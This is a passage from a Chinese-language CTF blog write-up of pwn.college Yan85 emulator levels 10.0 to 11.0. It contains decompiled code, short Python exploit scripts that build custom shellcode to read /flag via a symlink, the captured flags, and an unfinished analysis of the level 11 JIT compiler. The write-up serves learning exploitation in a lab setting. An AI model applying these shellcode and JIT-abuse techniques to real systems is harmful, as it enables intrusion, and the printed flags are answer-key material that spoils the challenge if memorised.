    v3 = sys_open(a1, &amp;amp;a1[a1[1024] + 768], a1[1025], a1[1026]);
    write_register(a1, BYTE2(a2), v3);
  }
  if ( (a2 &amp;amp; 0x2000) != 0 )
    crash(a1, &quot;Disallowed system call: SYS_READ_CODE&quot;);
  if ( (a2 &amp;amp; 0x1000) != 0 )
  {
    puts(&quot;[s] ... read_memory&quot;);
    v4 = a1[1026];
    if ( 256 - a1[1025] &amp;lt;= v4 )
      LOBYTE(v4) = -a1[1025];
    v5 = sys_read(a1, a1[1024], &amp;amp;a1[a1[1025] + 768], (unsigned __int8)v4);
    write_register(a1, BYTE2(a2), v5);
  }
  if ( (a2 &amp;amp; 0x200) != 0 )
  {
    puts(&quot;[s] ... write&quot;);
    v6 = a1[1026];
    if ( 256 - a1[1025] &amp;lt;= v6 )
      LOBYTE(v6) = -a1[1025];
    v7 = sys_write(a1, a1[1024], &amp;amp;a1[a1[1025] + 768], (unsigned __int8)v6);
    write_register(a1, BYTE2(a2), v7);
  }
  if ( (a2 &amp;amp; 0x400) != 0 )
  {
    puts(&quot;[s] ... sleep&quot;);
    v8 = sys_sleep(a1, a1[1024]);
    write_register(a1, BYTE2(a2), v8);
  }
  if ( (a2 &amp;amp; 0x800) != 0 )
  {
    puts(&quot;[s] ... exit&quot;);
    sys_exit(a1, a1[1024]);
  }
  result = BYTE2(a2);
  if ( BYTE2(a2) )
  {
    v10 = (unsigned __int8)read_register(a1, BYTE2(a2));
    v11 = (const char *)describe_register(BYTE2(a2));
    return printf(&quot;[s] ... return value (in register %s): %#hhx\n&quot;, v11, v10);
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sooooooo，我们把 &lt;code&gt;orw&lt;/code&gt; 串起来就好了，实现用一条指令调用多个 syscall！&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

from pwn import log, os


def construct_payload():
    yancode = b&quot;\x01\x02\x00&quot;  # imm a, 0x00
    yancode += b&quot;\x01\x40\x66&quot;  # imm b, 0x66
    yancode += b&quot;\x20\x02\x40&quot;  # stm a, b
    yancode += b&quot;\x01\x40\x00&quot;  # imm b, 0x00
    yancode += b&quot;\x01\x10\xff&quot;  # imm c, 0xff
    yancode += b&quot;\x80\x13\x02&quot;  # orw

    return yancode


def save_shellcode_to_file(filename):
    payload = construct_payload()

    try:
        with open(filename, &quot;wb&quot;) as f:
            f.write(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while saving shellcode to file: {e}&quot;)


def main():
    try:
        os.system(&quot;ln -s /flag f&quot;)

        save_shellcode_to_file(&quot;shellcode&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;令我感到奇怪的是 exp 中使用 &lt;code&gt;os.dup2(1, 57)&lt;/code&gt; 并不能将 &lt;code&gt;fd 57&lt;/code&gt; redirect 到 &lt;code&gt;stdout&lt;/code&gt;。但是将 shellcode 写到文件中，再将其作为 stdin 传给程序，并重定向 &lt;code&gt;fd 57&lt;/code&gt; 到 stdout 就可以。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./toddlerone-level-10-0 &amp;lt; shellcode 57&amp;gt;&amp;amp;1 &amp;gt; output
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{c8a_GFOYLKgE8O8i-6oZxhhzxgi.01NzMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 10.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The ultimate Yan85 challenge. Provide your own Yan85 shellcode.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-100&quot;&gt;Level 10.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

from pwn import log, os


def construct_payload():
    yancode = b&quot;\x40\x10\x00&quot;  # imm a, 0x00
    yancode += b&quot;\x40\x20\x66&quot;  # imm b, 0x66
    yancode += b&quot;\x04\x10\x20&quot;  # stm a, b
    yancode += b&quot;\x40\x20\x00&quot;  # imm b, 0x00
    yancode += b&quot;\x40\x04\xff&quot;  # imm c, 0xff
    yancode += b&quot;\x02\x2a\x10&quot;  # orw

    return yancode


def save_shellcode_to_file(filename):
    payload = construct_payload()

    try:
        with open(filename, &quot;wb&quot;) as f:
            f.write(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while saving shellcode to file: {e}&quot;)


def main():
    try:
        os.system(&quot;ln -s /flag f&quot;)

        save_shellcode_to_file(&quot;shellcode&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{oWpBceTnbTClQqRYa8nwc5Pi1b9.0FOzMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Level 10 做完也是直接从第七杀入前三了 LOL&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.51eg64l8wq.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Level 11.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The ultimate Yan85 challenge. Provide your own Yan85 shellcode. Now updated for modern hardware!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;终于到了传说中的 &lt;a href=&quot;https://en.wikipedia.org/wiki/Just-in-time_compilation&quot;&gt;JIT (Just-in-time compilation)&lt;/a&gt;，也是本章节最后的 BOSS! 之前看这一章讲义的时候就觉得这是一个很高端的东西。是的，我懂，我懂，又是一道令我仰望的题（其实当时看讲义觉得利用应该也没那么难，只是概念对我来说比较新，因为是第一次接触吧。&amp;lt;s&amp;gt;&lt;em&gt;这种情境仿佛一夜之间世界从蒸汽时代飞跃至信息化巅峰，众人皆已驾驭现代科技，我却恍如沉醉于旧工业的残梦未醒……忽而惊觉，恍若隔世，徒留错愕于时代洪流之中……&lt;/em&gt;&amp;lt;/s&amp;gt;）……Brain 以自动为您触发被动 skill &lt;strong&gt;&lt;em&gt;畏难&lt;/em&gt;&lt;/strong&gt; :skull:&lt;/p&gt;
&lt;p&gt;话不多说，直接开干！迎面袭来的，是刺鼻的恶臭，嗅……嗯，纯正的，错不了，是逆向分析！&lt;em&gt;/丧中没有一丝燃，好熟悉……&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;通常这种硬核难题都是，熬过最折磨人的逆向阶段后，神挡杀神、佛挡杀佛，最好如此。~&lt;em&gt;/某人试图自我打气&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;你熟悉又陌生的 main 姑娘：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+18h] [rbp-2818h]
  _BYTE s[2064]; // [rsp+20h] [rbp-2810h] BYREF
  void *addr; // [rsp+2020h] [rbp-810h]
  unsigned __int64 v7; // [rsp+2828h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  printf(&quot;[+] Welcome to %s!\n&quot;, *argv);
  puts(&quot;[+] This challenge is an custom emulator. It emulates a completely custom&quot;);
  puts(&quot;[+] architecture that we call \&quot;Yan85\&quot;! You&apos;ll have to understand the&quot;);
  puts(&quot;[+] emulator to understand the architecture, and you&apos;ll have to understand&quot;);
  puts(&quot;[+] the architecture to understand the code being emulated, and you will&quot;);
  puts(&quot;[+] have to understand that code to get the flag. Good luck!&quot;);
  puts(&quot;[+]&quot;);
  puts(&quot;[+] This level is a full Yan85 emulator. You&apos;ll have to reason about yancode,&quot;);
  puts(&quot;[+] and the implications of how the emulator interprets it!&quot;);
  puts(&quot;[X]&quot;);
  puts(&quot;[X] Arizona State University is proud to present a NEW version of Yan85:&quot;);
  puts(&quot;[X] Yan85_64! This is a beta preview of the cutting-edge technology, armed&quot;);
  puts(&quot;[X] with the latest in security mitigations. Hopefully, we didn&apos;t forget to&quot;);
  puts(&quot;[X] check all the memory accesses properly, though you never know....&quot;);
  puts(&quot;[X]&quot;);
  setvbuf(_bss_start, 0LL, 2, 1uLL);
  memset(s, 0, 0x2808uLL);
  printf(&quot;[!] This time, YOU&apos;RE in control! Please input your yancode: &quot;);
  read(0, s, 0x1800uLL);
  puts(&quot;[+]&quot;);
  puts(&quot;[+] This is a *teaching* challenge, which means that it will output&quot;);
  puts(&quot;[+] a trace of the Yan85 code as it processes it. The output is here&quot;);
  puts(&quot;[+] for you to understand what the challenge is doing, and you should use&quot;);
  puts(&quot;[+] it as a guide to help with your reversing of the code.&quot;);
  puts(&quot;[+]&quot;);
  addr = mmap((void *)0x1337000, 0x1000uLL, 7, 34, 0, 0LL);
  v4 = emit_program(s);
  if ( mprotect(addr, 0x1000uLL, 5) )
    __assert_fail(
      &quot;mprotect(state.compiled_code, 0x1000, PROT_READ|PROT_EXEC) == 0&quot;,
      &quot;/challenge/toddlerone-level-11-0.c&quot;,
      0x323u,
      &quot;main&quot;);
  puts(&quot;[!] Your yancode has been JITed! The result is the following x86_64 code:&quot;);
  print_disassembly(addr, v4 - (_QWORD)addr);
  ((void (*)(void))addr)();
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到 &lt;code&gt;read&lt;/code&gt; 可以造成栈溢出，暂时不知道有没有用，先记录一下。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mmap&lt;/code&gt; 在 &lt;code&gt;0x1337000&lt;/code&gt; 分配了 &lt;code&gt;0x1000&lt;/code&gt; bytes 的 &lt;code&gt;rwx&lt;/code&gt; 空间，通过后续的分析我们知道这个地址是用来存放编译后代码的。&lt;/p&gt;
&lt;p&gt;之后进入了 &lt;code&gt;emit_program(s)&lt;/code&gt;。返回后移除了编译后代码处的写权限，调用 &lt;code&gt;print_disassembly(addr, v4 - (_QWORD)addr)&lt;/code&gt; 输出编译后的机器码及其反汇编，最后通过 &lt;code&gt;((void (*)(void))addr)()&lt;/code&gt; 执行编译后代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_BYTE *__fastcall emit_program(__int64 a1)
{
  _BYTE *v1; // rax
  _BYTE *v2; // rax
  _BYTE *v3; // rax
  _BYTE *v4; // rax
  _BYTE *v5; // rax
  _BYTE *v6; // rax
  int v7; // r8d
  int v8; // r9d
  int i; // [rsp+14h] [rbp-Ch]
  _BYTE *v11; // [rsp+18h] [rbp-8h]
  _QWORD *v12; // [rsp+18h] [rbp-8h]
  _BYTE *v13; // [rsp+18h] [rbp-8h]

  v11 = *(_BYTE **)(a1 + 0x2000);
  puts(&quot;[e] emitting initialization code&quot;);
  v1 = helper_mov_imm(a1, v11, 32LL, 0LL);
  v2 = helper_mov_imm(a1, v1, 64LL, 0LL);
  v3 = helper_mov_imm(a1, v2, 16LL, 0LL);
  v4 = helper_mov_imm(a1, v3, 8LL, 0LL);
  v5 = helper_mov_imm(a1, v4, 4LL, 0LL);
  v6 = helper_mov_imm(a1, v5, 2LL, 0LL);
  v12 = helper_mov_imm(a1, v6, 1LL, 0LL);
  for ( i = 0; i &amp;lt;= 255; ++i )
  {
    *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = (char *)v12 - *(_QWORD *)(a1 + 0x2000);
    printf(&quot;[e] instruction %d to %p (offset %#x from base)\n&quot;, i, v12, *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8));
    *(_BYTE *)v12 = 73;
    v13 = (char *)v12 + 1;
    *v13++ = -57;
    *v13++ = -63;
    *(_DWORD *)v13 = i;
    v12 = (_QWORD *)emit_instruction(
                      a1,
                      (int)v13 + 4,
                      i,
                      a1,
                      v7,
                      v8,
                      *(_QWORD *)(a1 + 24LL * i),
                      *(_QWORD *)(a1 + 24LL * i + 8),
                      *(_QWORD *)(a1 + 24LL * i + 16));
  }
  printf(&quot;[e] compiled %d instructions!\n&quot;, i);
  return emit_end(a1, v12);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;v11 = *(_BYTE **)(a1 + 0x2000)&lt;/code&gt; 的作用是取编译后代码的起始地址 (&lt;code&gt;_BYTE *&lt;/code&gt;)。&lt;/p&gt;
&lt;p&gt;emitting initialization code 后的七个 &lt;code&gt;helper_mov_imm&lt;/code&gt; 负责初始化一些寄存器的值。深入其内部我们知道，这个函数的作用就是负责将我们输入的 &lt;code&gt;imm&lt;/code&gt; 的 yancode 翻译为 amd64 中的 &lt;code&gt;movabs&lt;/code&gt; 指令的机器码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_QWORD *__fastcall helper_mov_imm(__int64 a1, _BYTE *a2, __int64 a3, __int64 a4)
{
  _QWORD *v5; // [rsp+10h] [rbp-10h]

  switch ( a3 )
  {
    case 32LL:
      *a2 = 73;
      a2[1] = -70;
      v5 = a2 + 2;
      break;
    case 64LL:
      *a2 = 73;
      a2[1] = -69;
      v5 = a2 + 2;
      break;
    case 16LL:
      *a2 = 73;
      a2[1] = -68;
      v5 = a2 + 2;
      break;
    case 8LL:
      *a2 = 73;
      a2[1] = -67;
      v5 = a2 + 2;
      break;
    case 4LL:
      *a2 = 73;
      a2[1] = -66;
      v5 = a2 + 2;
      break;
    case 2LL:
      *a2 = 73;
      a2[1] = -65;
      v5 = a2 + 2;
      break;
    case 1LL:
      *a2 = 73;
      a2[1] = -71;
      v5 = a2 + 2;
      break;
    default:
      crash(a1, &quot;Unknown register in emit_imm&quot;);
  }
  *v5 = a4;
  return v5 + 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过观察运行结果我们知道这七条指令分别对应了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x0000000001337000 | 49 ba 00 00 00 00 00 00 00 00                 | movabs r10, 0
0x000000000133700a | 49 bb 00 00 00 00 00 00 00 00                 | movabs r11, 0
0x0000000001337014 | 49 bc 00 00 00 00 00 00 00 00                 | movabs r12, 0
0x000000000133701e | 49 bd 00 00 00 00 00 00 00 00                 | movabs r13, 0
0x0000000001337028 | 49 be 00 00 00 00 00 00 00 00                 | movabs r14, 0
0x0000000001337032 | 49 bf 00 00 00 00 00 00 00 00                 | movabs r15, 0
0x000000000133703c | 49 b9 00 00 00 00 00 00 00 00                 | movabs r9, 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入循环体内部，&lt;code&gt;*(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = (char *)v12 - *(_QWORD *)(a1 + 0x2000);&lt;/code&gt; 负责计算当前指令相对于 &lt;code&gt;v11&lt;/code&gt; 的偏移，单位是字节。&lt;/p&gt;
&lt;p&gt;之后 &lt;code&gt;for&lt;/code&gt; 循环默认会生成 256 条占位指令（如果你没有输入任何 yancode）。结果差不多是下面这样，每隔一条指令 arg2 这个立即数增加 0x1：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x0000000001337046 | 49 c7 c1 00 00 00 00                          | mov r9, 0
0x000000000133704d | 49 c7 c1 01 00 00 00                          | mov r9, 1
0x0000000001337054 | 49 c7 c1 02 00 00 00                          | mov r9, 2
  &amp;lt;snap&amp;gt;
0x0000000001337731 | 49 c7 c1 fd 00 00 00                          | mov r9, 0xfd
0x0000000001337738 | 49 c7 c1 fe 00 00 00                          | mov r9, 0xfe
0x000000000133773f | 49 c7 c1 ff 00 00 00                          | mov r9, 0xff
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来，就是我们最关心的 yancode 如何解析了。为了方便查阅理解，这里把调用部分单独贴出来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// &amp;lt;snap&amp;gt;
for ( i = 0; i &amp;lt;= 255; ++i )
{
  *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = (char *)v12 - *(_QWORD *)(a1 + 0x2000);
  printf(&quot;[e] instruction %d to %p (offset %#x from base)\n&quot;, i, v12, *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8));
  *(_BYTE *)v12 = 73;
  v13 = (char *)v12 + 1;
  *v13++ = -57;
  *v13++ = -63;
  *(_DWORD *)v13 = i;
  v12 = (_QWORD *)emit_instruction(
      a1,
      (int)v13 + 4,
      i,
      a1,
      v7,
      v8,
      *(_QWORD *)(a1 + 24LL * i),
      *(_QWORD *)(a1 + 24LL * i + 8),
      *(_QWORD *)(a1 + 24LL * i + 16)
  );
}
// &amp;lt;snap&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;(int)v13 + 4&lt;/code&gt; 代表下一条指令的起始地址。&lt;code&gt;*(_QWORD *)(a1 + 24LL * i + 16)&lt;/code&gt; 是 &lt;code&gt;a9&lt;/code&gt;，观察下面的 &lt;code&gt;emit_instruction&lt;/code&gt; 的具体实现我们知道程序通过这个参数来判断需要把 yancode 解析成什么指令，所以它就是 opcode 位。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall emit_instruction(
        int a1,
        __int64 a2,
        __int64 a3,
        int a4,
        int a5,
        int a6,
        __int64 a7,
        __int64 a8,
        __int64 a9)
{
  __int64 v10; // [rsp+0h] [rbp-10h]

  v10 = a2;
  if ( (a9 &amp;amp; 0x40) != 0 )
    v10 = emit_imm(a1, a2, a2, a4, a5, a6, a7, a8);
  if ( (a9 &amp;amp; 4) != 0 )
    v10 = emit_add(a1, v10, v10, a4, a5, a6, a7, a8);
  if ( (a9 &amp;amp; 1) != 0 )
    v10 = emit_stk(a1, v10, v10, a4, a5, a6, a7, a8);
  if ( (a9 &amp;amp; 0x10) != 0 )
    v10 = emit_stm(a1, v10, v10, a4, a5, a6, a7, a8);
  if ( (a9 &amp;amp; 0x80) != 0 )
    v10 = emit_ldm(a1, v10, v10, a4, a5, a6, a7, a8);
  if ( (a9 &amp;amp; 0x20) != 0 )
    v10 = emit_cmp(a1, v10, v10, a4, a5, a6, a7, a8);
  if ( (a9 &amp;amp; 8) != 0 )
    v10 = emit_jmp(a1, v10, v10, a4, a5, a6, a7, a8);
  if ( (a9 &amp;amp; 2) != 0 )
    emit_sys(a1, v10, v10, a4, a5, a6, a7, a8);
  return v10;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就以 &lt;code&gt;imm&lt;/code&gt; 为例吧，首先得满足 &lt;code&gt;(*(_QWORD *)(a1 + 24LL * i + 16) &amp;amp; 40) != 0&lt;/code&gt;，那就是 &lt;code&gt;b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00&quot;&lt;/code&gt; ;-; 我也不知道是不是应该写出来，但是真的好长啊……&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall emit_imm(
        __int64 a1,
        _BYTE *a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        __int64 a7,
        __int64 a8)
{
  const char *v8; // rax
  _QWORD *v10; // [rsp+0h] [rbp-20h]

  v8 = (const char *)describe_register(a7);
  printf(&quot;[e] compiling IMM %s = %#hhx to %p\n&quot;, v8, a8, a2);
  v10 = helper_mov_imm(a1, a2, a7, a8);
  if ( a7 == 1 )
    return helper_jmp_i(a1, v10);
  return (__int64)v10;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后注意到 &lt;code&gt;(const char *)describe_register(a7)&lt;/code&gt;，说明 &lt;code&gt;a7&lt;/code&gt;，也就是 &lt;code&gt;*(_QWORD *)(a1 + 24LL * i)&lt;/code&gt; 代表寄存器，结合下面的 &lt;code&gt;printf&lt;/code&gt; 可知它是 arg1。&lt;code&gt;a8&lt;/code&gt;，也就是 &lt;code&gt;*(_QWORD *)(a1 + 24LL * i + 8)&lt;/code&gt; 代表 arg2，是一个立即数。&lt;/p&gt;
&lt;p&gt;那么最终 yancode 格式应该是 &lt;code&gt;arg1, arg2, opcode&lt;/code&gt; 这样的，注意每个参数位都是一个 &lt;code&gt;QWORD&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall emit_imm(
        __int64 a1,
        const void *a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        __int64 a7,
        __int64 a8)
{
  const char *v8; // rax
  __int64 v10; // [rsp+0h] [rbp-20h]

  v8 = (const char *)describe_register(a7);
  printf(&quot;[e] compiling IMM %s = %#hhx to %p\n&quot;, v8, a8, a2);
  v10 = helper_mov_imm(a1, a2, a7, a8);
  if ( a7 == 1 )
    return helper_jmp_i(a1, v10);
  return v10;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;九个参数看着挺吓人的，实际上还好啦～&lt;/p&gt;
&lt;p&gt;通过讲义的学习我们知道，攻击思路大致应该是将 shellcode 写到变量里面，然后利用 &lt;code&gt;jmp&lt;/code&gt; 跳转到变量内部执行我们的 shellcode。&lt;/p&gt;
&lt;p&gt;所以我们用到的指令应该有 &lt;code&gt;imm&lt;/code&gt;、&lt;code&gt;stm&lt;/code&gt;、&lt;code&gt;jmp&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;先来看看 &lt;code&gt;jmp&lt;/code&gt; 指令的实现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall emit_jmp(
        __int64 a1,
        _BYTE *a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        __int64 a7,
        __int64 a8)
{
  const char *v8; // rbx
  const char *v9; // rax
  _BYTE *v10; // rax

  v8 = (const char *)describe_register(a8);
  v9 = (const char *)describe_flags(a7);
  printf(&quot;[e] compiling JMP %s %s to %p\n&quot;, v9, v8, a2);
  if ( a7 )
    crash(a1, &quot;conditional jumps not supported in JIT mode&quot;);
  *a2 = 77;
  a2[1] = -119;
  v10 = helper_combo_byte(a1, a2 + 2, 1LL, a8);
  return helper_jmp_i(a1, v10);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跳转条件被禁了，所以 arg1 对我们来说是没用的，需要设置为 0。那么 &lt;code&gt;jmp&lt;/code&gt; 的格式就是 &lt;code&gt;jmp * reg&lt;/code&gt; 了。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;helper_combo_byte(a1, a2 + 2, 1LL, a8)&lt;/code&gt; 的作用是将 yancode 中 arg2 代表的寄存器转换为 amd64 寄存器对应的机器码。而上面的两条代码负责生成将转换后得到的寄存器的值移动到 &lt;code&gt;r9&lt;/code&gt; 中的机器码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*a2 = 77;
a2[1] = -119;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以最后会生成类似这样的一条指令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov r9, ?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;附上 &lt;code&gt;helper_combo_byte&lt;/code&gt; 的内部实现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_BYTE *__fastcall helper_combo_byte(__int64 a1, _BYTE *a2, __int64 a3, __int64 a4)
{
  if ( a3 == 32 &amp;amp;&amp;amp; a4 == 32 )
  {
    *a2 = -46;
    return a2 + 1;
  }
  else if ( a3 == 32 &amp;amp;&amp;amp; a4 == 64 )
  {
    *a2 = -38;
    return a2 + 1;
  }
  else if ( a3 == 32 &amp;amp;&amp;amp; a4 == 16 )
  {
    *a2 = -30;
    return a2 + 1;
  }
  else if ( a3 == 32 &amp;amp;&amp;amp; a4 == 8 )
  {
    *a2 = -22;
    return a2 + 1;
  }
  else if ( a3 == 32 &amp;amp;&amp;amp; a4 == 2 )
  {
    *a2 = -6;
    return a2 + 1;
  }
  else if ( a3 == 32 &amp;amp;&amp;amp; a4 == 1 )
  {
    *a2 = -54;
    return a2 + 1;
  }
  else if ( a3 == 32 &amp;amp;&amp;amp; a4 == 4 )
  {
    *a2 = -14;
    return a2 + 1;
  }
  else if ( a3 == 64 &amp;amp;&amp;amp; a4 == 32 )
  {
    *a2 = -45;
    return a2 + 1;
  }
  else if ( a3 == 64 &amp;amp;&amp;amp; a4 == 64 )
  {
    *a2 = -37;
    return a2 + 1;
  }
  else if ( a3 == 64 &amp;amp;&amp;amp; a4 == 16 )
  {
    *a2 = -29;
    return a2 + 1;
  }
  else if ( a3 == 64 &amp;amp;&amp;amp; a4 == 8 )
  {
    *a2 = -21;
    return a2 + 1;
  }
  else if ( a3 == 64 &amp;amp;&amp;amp; a4 == 2 )
  {
    *a2 = -5;
    return a2 + 1;
  }
  else if ( a3 == 64 &amp;amp;&amp;amp; a4 == 1 )
  {
    *a2 = -53;
    return a2 + 1;
  }
  else if ( a3 == 64 &amp;amp;&amp;amp; a4 == 4 )
  {
    *a2 = -13;
    return a2 + 1;
  }
  else if ( a3 == 16 &amp;amp;&amp;amp; a4 == 32 )
  {
    *a2 = -44;
    return a2 + 1;
  }
  else if ( a3 == 16 &amp;amp;&amp;amp; a4 == 64 )
  {
    *a2 = -36;
    return a2 + 1;
  }
  else if ( a3 == 16 &amp;amp;&amp;amp; a4 == 16 )
  {
    *a2 = -28;
    return a2 + 1;
  }
  else if ( a3 == 16 &amp;amp;&amp;amp; a4 == 8 )
  {
    *a2 = -20;
    return a2 + 1;
  }
  else if ( a3 == 16 &amp;amp;&amp;amp; a4 == 2 )
  {
    *a2 = -4;
    return a2 + 1;
  }
  else if ( a3 == 16 &amp;amp;&amp;amp; a4 == 1 )
  {
    *a2 = -52;
    return a2 + 1;
  }
  else if ( a3 == 16 &amp;amp;&amp;amp; a4 == 4 )
  {
    *a2 = -12;
    return a2 + 1;
  }
  else if ( a3 == 8 &amp;amp;&amp;amp; a4 == 32 )
  {
    *a2 = -43;
    return a2 + 1;
  }
  else if ( a3 == 8 &amp;amp;&amp;amp; a4 == 64 )
  {
    *a2 = -35;
    return a2 + 1;
  }
  else if ( a3 == 8 &amp;amp;&amp;amp; a4 == 16 )
  {
    *a2 = -27;
    return a2 + 1;
  }
  else if ( a3 == 8 &amp;amp;&amp;amp; a4 == 8 )
  {
    *a2 = -19;
    return a2 + 1;
  }
  else if ( a3 == 8 &amp;amp;&amp;amp; a4 == 2 )
  {
    *a2 = -3;
    return a2 + 1;
  }
  else if ( a3 == 8 &amp;amp;&amp;amp; a4 == 1 )
  {
    *a2 = -51;
    return a2 + 1;
  }
  else if ( a3 == 8 &amp;amp;&amp;amp; a4 == 4 )
  {
    *a2 = -11;
    return a2 + 1;
  }
  else if ( a3 == 2 &amp;amp;&amp;amp; a4 == 32 )
  {
    *a2 = -41;
    return a2 + 1;
  }
  else if ( a3 == 2 &amp;amp;&amp;amp; a4 == 64 )
  {
    *a2 = -33;
    return a2 + 1;
  }
  else if ( a3 == 2 &amp;amp;&amp;amp; a4 == 16 )
  {
    *a2 = -25;
    return a2 + 1;
  }
  else if ( a3 == 2 &amp;amp;&amp;amp; a4 == 8 )
  {
    *a2 = -17;
    return a2 + 1;
  }
  else if ( a3 == 2 &amp;amp;&amp;amp; a4 == 2 )
  {
    *a2 = -1;
    return a2 + 1;
  }
  else if ( a3 == 2 &amp;amp;&amp;amp; a4 == 1 )
  {
    *a2 = -49;
    return a2 + 1;
  }
  else if ( a3 == 2 &amp;amp;&amp;amp; a4 == 4 )
  {
    *a2 = -9;
    return a2 + 1;
  }
  else if ( a3 == 1 &amp;amp;&amp;amp; a4 == 32 )
  {
    *a2 = -47;
    return a2 + 1;
  }
  else if ( a3 == 1 &amp;amp;&amp;amp; a4 == 64 )
  {
    *a2 = -39;
    return a2 + 1;
  }
  else if ( a3 == 1 &amp;amp;&amp;amp; a4 == 16 )
  {
    *a2 = -31;
    return a2 + 1;
  }
  else if ( a3 == 1 &amp;amp;&amp;amp; a4 == 8 )
  {
    *a2 = -23;
    return a2 + 1;
  }
  else if ( a3 == 1 &amp;amp;&amp;amp; a4 == 2 )
  {
    *a2 = -7;
    return a2 + 1;
  }
  else if ( a3 == 1 &amp;amp;&amp;amp; a4 == 1 )
  {
    *a2 = -55;
    return a2 + 1;
  }
  else if ( a3 == 1 &amp;amp;&amp;amp; a4 == 4 )
  {
    *a2 = -15;
    return a2 + 1;
  }
  else if ( a3 == 4 &amp;amp;&amp;amp; a4 == 32 )
  {
    *a2 = -42;
    return a2 + 1;
  }
  else if ( a3 == 4 &amp;amp;&amp;amp; a4 == 64 )
  {
    *a2 = -34;
    return a2 + 1;
  }
  else if ( a3 == 4 &amp;amp;&amp;amp; a4 == 16 )
  {
    *a2 = -26;
    return a2 + 1;
  }
  else if ( a3 == 4 &amp;amp;&amp;amp; a4 == 8 )
  {
    *a2 = -18;
    return a2 + 1;
  }
  else if ( a3 == 4 &amp;amp;&amp;amp; a4 == 2 )
  {
    *a2 = -2;
    return a2 + 1;
  }
  else if ( a3 == 4 &amp;amp;&amp;amp; a4 == 1 )
  {
    *a2 = -50;
    return a2 + 1;
  }
  else
  {
    if ( a3 != 4 || a4 != 4 )
